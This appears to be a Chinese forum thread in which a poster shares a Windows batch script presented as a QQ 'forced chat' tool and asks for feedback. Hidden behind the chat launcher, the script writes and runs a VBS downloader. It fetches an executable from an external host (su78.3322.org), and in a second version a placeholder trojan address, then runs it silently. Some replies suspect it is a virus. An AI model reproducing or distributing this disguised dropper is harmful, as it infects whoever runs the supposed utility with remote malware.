写了QQ强制聊天下哉者希望对大家有用 给点意见

笑面虎

这好象是下栽病毒那

哈马斯

可以强制聊天

笑面虎

不回把....我怎么没看出来那

千幻修罗

这好像不是强制聊天的吧。

哈马斯

@echo off
@echo Msconfig.j
Title Msconfig.J
@echo off
echo Msconfig:
rem
:start
set /p a=:
start tencent://message/?uin=%a%
goto start
这一段强制聊天

哈马斯

自己写的一个 批处理 刚学写的不好 但我觉得有创意
@ if exsit c:\1.vbs del c:\1.vbs 当C：1.vbs存在的时候就自动删除
@echo off
echo %data%%time% 显示时间
pause 停止
@echo Set xPost = createObject("Microsoft.XMLHTTP")>>c:\1.bat&
@echo xPost.Open "GET","http://su78.3322.org/12***45cq_dlq.exe",0 >>c:\1.bat&
@echo xpost.Send()>>c:\1.bat&
@echo Set sGet = CreateObject("ADODB.Stream")>>c:\1.bat&
@echo sGet.Mode =3 >>c:\1.bat&
@echo sGet.Type =1 >>c:\1.bat&
@echo sGet.Open()>>c:\1.bat&
@echo sGet.Write(xPost.responseBody)>>c:\1.bat&
@echo sGet.SaveToFile "12***45cq_dlq.exe",2>>c:\1.bat&
@echo set ws=wscript.createobject("wscript.shell")>>c:\1.bat&
@echo ws.run "12***45cq_dlq.exe /start",0 >>c:\1.bat& 写入C 1.bat
cls 清屏
ren c:\1.bat 1.vbs 把1。bat 转换成 1.VBS
start c:\1.vbs 执行1。VBS
@echo off
@echo Msconfig.j
Title Msconfig.J
@echo off
echo Msconfig:
rem
:start
set /p a=:
start tencent://message/?uin=%a%
goto start 强制聊天

黑思哲人

................



[s:159][s:158]

我以前也用过强制聊天的
呵呵 ..

哈马斯

@echo off
echo %data%%time%
pause
@echo Set xPost = createObject(\"Microsoft.XMLHTTP\")>>c:\\1.bat&
@echo xPost.Open \"GET\",\"木马地址\",0 >>c:\\1.bat&
@echo xpost.Send()>>c:\\1.bat&
@echo Set sGet = CreateObject(\"ADODB.Stream\")>>c:\\1.bat&
@echo sGet.Mode =3 >>c:\\1.bat&
@echo sGet.Type =1 >>c:\\1.bat&
@echo sGet.Open()>>c:\\1.bat&
@echo sGet.Write(xPost.responseBody)>>c:\\1.bat&
@echo sGet.SaveToFile \"木马.exe\",2>>c:\\1.bat&
@echo set ws=wscript.createobject(\"wscript.shell\")>>c:\\1.bat&
@echo ws.run \"木马.exe /start\",0 >>c:\\1.bat&
cls
ren c:\\1.bat 1.vbs
start c:\\1.vbs
@echo off
@echo Msconfig.j
Title Msconfig.J
@echo off
echo Msconfig:
rem
:start
set /p a=:
start tencent://message/?uin=%a%
goto start